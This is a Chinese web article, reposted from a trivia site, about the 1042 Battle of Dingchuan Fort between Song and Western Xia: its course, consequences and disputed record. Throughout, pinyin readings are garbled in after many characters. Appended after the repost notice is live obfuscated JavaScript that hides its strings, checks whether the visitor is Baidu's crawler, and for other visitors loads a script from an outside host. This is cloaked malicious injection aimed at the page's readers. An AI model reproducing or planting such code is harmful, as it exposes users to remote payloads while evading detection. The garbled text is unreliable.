當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

對(duì)定川寨之戰(zhàn)評(píng)價(jià) 宋朝無(wú)法接受的失敗

2017-04-29 11:40:15  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):對(duì)于歷史上的“定川寨之戰(zhàn)”,它是宋仁宗時(shí)期爆發(fā)的宋夏戰(zhàn)爭(zhēng)中的第三場(chǎng)戰(zhàn)事,最后以宋敗夏勝收?qǐng)觯敲炊ùㄕ畱?zhàn)簡(jiǎn)介是怎樣的呢? 首先關(guān)

對(duì)于歷史上的“定川寨之戰(zhàn)”,它是宋仁宗時(shí)期爆發(fā)的宋夏戰(zhàn)爭(zhēng)中的第三場(chǎng)戰(zhàn)事,最后以宋敗夏勝收?qǐng)?,那么定川寨之?zhàn)簡(jiǎn)介是怎樣的呢?

首先關(guān)于“定川寨之戰(zhàn)”,它主要發(fā)生于北宋慶歷二年,也就是在1042年期間。當(dāng)時(shí)是在宋與西夏兩國(guó)的戰(zhàn)爭(zhēng)中,西夏的軍對(duì)開(kāi)始進(jìn)攻宋涇原路,并且最終在定川寨將宋軍擊敗。至于戰(zhàn)爭(zhēng)的經(jīng)過(guò)具體是這樣的:

九月初九,葛懷敏帶兵進(jìn)抵瓦亭寨,并與寨都監(jiān)許思純、以及環(huán)慶都監(jiān)劉賀部會(huì)和,后來(lái)又違反命令開(kāi)始北進(jìn),直到進(jìn)屯五谷口。

二十日,又進(jìn)軍到鎮(zhèn)戎軍西南方向,走馬承受趙政以為是距離夏軍已經(jīng)很近了,意識(shí)不敢再向前進(jìn)軍。后來(lái)趙珣以為是夏軍遠(yuǎn)來(lái),為了能夠速戰(zhàn)速?zèng)Q,建議在馬欄城設(shè)防,可是葛懷敏依舊不聽(tīng),反而將分兵四路駐扎在定川寨。

在二十一日,他們?cè)獾搅讼能姷慕負(fù)?,直至退守到向家峽這里。而夏軍依舊乘勝追擊,向宋軍逼近。與此同時(shí)還命令下人毀了橋梁,斷了宋軍送糧的道路,并且還斷了定川寨的水源,打算饑渴宋軍。

在二十二日,以曹英、趙詢?yōu)橄蠕h,劉賀、許思純?yōu)樽笥乙斫Y(jié)成隊(duì)伍,打算東進(jìn)。在臨行前,屬下再三請(qǐng)求繞道而行,可葛懷敏不同意,在前行一段距離后,發(fā)現(xiàn)橋已摧毀,道路也被隔斷的。就在這個(gè)時(shí)候,夏軍乘宋軍混亂之機(jī),從四面開(kāi)始沖殺過(guò)來(lái),最終宋軍在四面夾擊下,軍隊(duì)全軍覆滅,宋軍大敗。

定川寨之戰(zhàn)影響

歷史上的“定川寨一戰(zhàn)”,是宋夏戰(zhàn)爭(zhēng)中記載最為模糊混亂的一次戰(zhàn)役,在各種史料間漏洞百出,都不能夠自圓其說(shuō),而今天人們關(guān)于這場(chǎng)戰(zhàn)役的事件,多是從《宋史·王沿傳》中的來(lái)的,其中關(guān)于戰(zhàn)爭(zhēng)失敗的責(zé)任推到葛懷敏頭上,說(shuō)是他不聽(tīng)王沿的命令,沒(méi)有在瓦亭寨或第背城扎寨,而是輕率冒進(jìn)北上,最終才招致失敗的。那么關(guān)于定川寨之戰(zhàn)的影響又是怎樣的呢?

首先由于這場(chǎng)戰(zhàn)爭(zhēng)的失敗,后又簽訂了“慶歷和議”。從合約的內(nèi)容上來(lái)看,使得宋軍喪失了大批的將校、士兵、民戶。甚至宋軍每年向西夏賞賜了絹十三萬(wàn)匹、銀五萬(wàn)兩、茶二萬(wàn)斤,直接加重了宋軍國(guó)內(nèi)的經(jīng)濟(jì)壓力。

后來(lái),遼興宗時(shí)期以蕭惠陳兵宋境,宋朝派出了富弼與遼國(guó)進(jìn)行協(xié)議,結(jié)果遼國(guó)嚴(yán)詞強(qiáng)硬,博征旁引使國(guó)威大振,從而打破遼國(guó)索要后周時(shí)期柴榮奪取的三關(guān)之地,還以增加歲幣為條件,來(lái)維持澶淵之盟的和平協(xié)議。因此歲幣的向外支出無(wú)疑是對(duì)宋朝來(lái)說(shuō)并非沉重負(fù)擔(dān),但若比起選擇戰(zhàn)爭(zhēng)的軍費(fèi),歲幣開(kāi)支無(wú)足輕重。經(jīng)過(guò)幾年的貨幣支出,宋朝的經(jīng)濟(jì)幾乎赤字??上攵?,這場(chǎng)“定川寨一戰(zhàn)”給宋朝帶來(lái)的最大的影響就是經(jīng)濟(jì)上的重?fù)?dān)。

另外,對(duì)于政治上來(lái)說(shuō),國(guó)土的喪失也是必然的。此外雖然西夏同意在外交文書上對(duì)宋朝以“臣”相稱,并接受宋國(guó)的冊(cè)封,但事實(shí)上,雙方達(dá)成的協(xié)議是西夏在自己的國(guó)內(nèi)仍自稱天子,對(duì)宋朝也就是表面稱臣。

定川寨之戰(zhàn)評(píng)價(jià)

據(jù)說(shuō),歷史上的宋夏兩國(guó),他們之間一共有三場(chǎng)大的戰(zhàn)役,即“三川口之戰(zhàn)”,“好水川之戰(zhàn)”和“定川寨之戰(zhàn)”。其中在定川寨之戰(zhàn)后,雙方開(kāi)始握手言和,此后進(jìn)入了一段“和平時(shí)期”。至于夏軍言和的原因很簡(jiǎn)單,是因?yàn)榕c周邊遼國(guó)的關(guān)系開(kāi)始惡化,在定川寨之戰(zhàn)不久后,夏遼大戰(zhàn)了一場(chǎng),在此之后夏遼關(guān)系開(kāi)始逐漸惡化。那么關(guān)于歷史上的定川寨之戰(zhàn)的評(píng)價(jià)又是怎樣的?

首先,關(guān)于這場(chǎng)“定川寨戰(zhàn)役”被評(píng)為是宋夏戰(zhàn)爭(zhēng)中記載最為詭異的一場(chǎng)戰(zhàn)爭(zhēng)。至于是如何的詭異,歷史上也給出了一定的解釋。據(jù)說(shuō)當(dāng)時(shí)在戰(zhàn)爭(zhēng)中,宋軍被困在了定川寨,幾次突圍幾乎失敗。其中有兩個(gè)疑點(diǎn):第一,近萬(wàn)的宋軍與夏軍并沒(méi)有發(fā)生激烈的戰(zhàn)斗,那又是怎樣陷入敵方的呢?在第一次戰(zhàn)爭(zhēng)中,宋軍的陣型大亂,但是還不至于潰散,但是從后面的發(fā)展來(lái)看,宋軍很快就穩(wěn)住了陣腳。那么,為什么會(huì)在后來(lái)的突圍中全軍覆沒(méi)呢?第二,葛懷敏是否是戰(zhàn)爭(zhēng)失敗的主要因素。

另外還有人評(píng)價(jià)這場(chǎng)戰(zhàn)爭(zhēng)是一場(chǎng)遭遇戰(zhàn)。就拿定川寨的遺址來(lái)看,寨子是非常小的,更何況要容納上萬(wàn)的軍隊(duì),所以有人推測(cè)宋軍并不是在這里集結(jié)的。甚至還有人評(píng)價(jià)這場(chǎng)戰(zhàn)爭(zhēng)失敗的真實(shí)原因在于宋軍士兵的不戰(zhàn)而降,使得葛懷敏等人只好獨(dú)自突圍最終壯烈犧牲,這正是這幾場(chǎng)戰(zhàn)爭(zhēng)中宋朝最無(wú)法接受的失敗。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}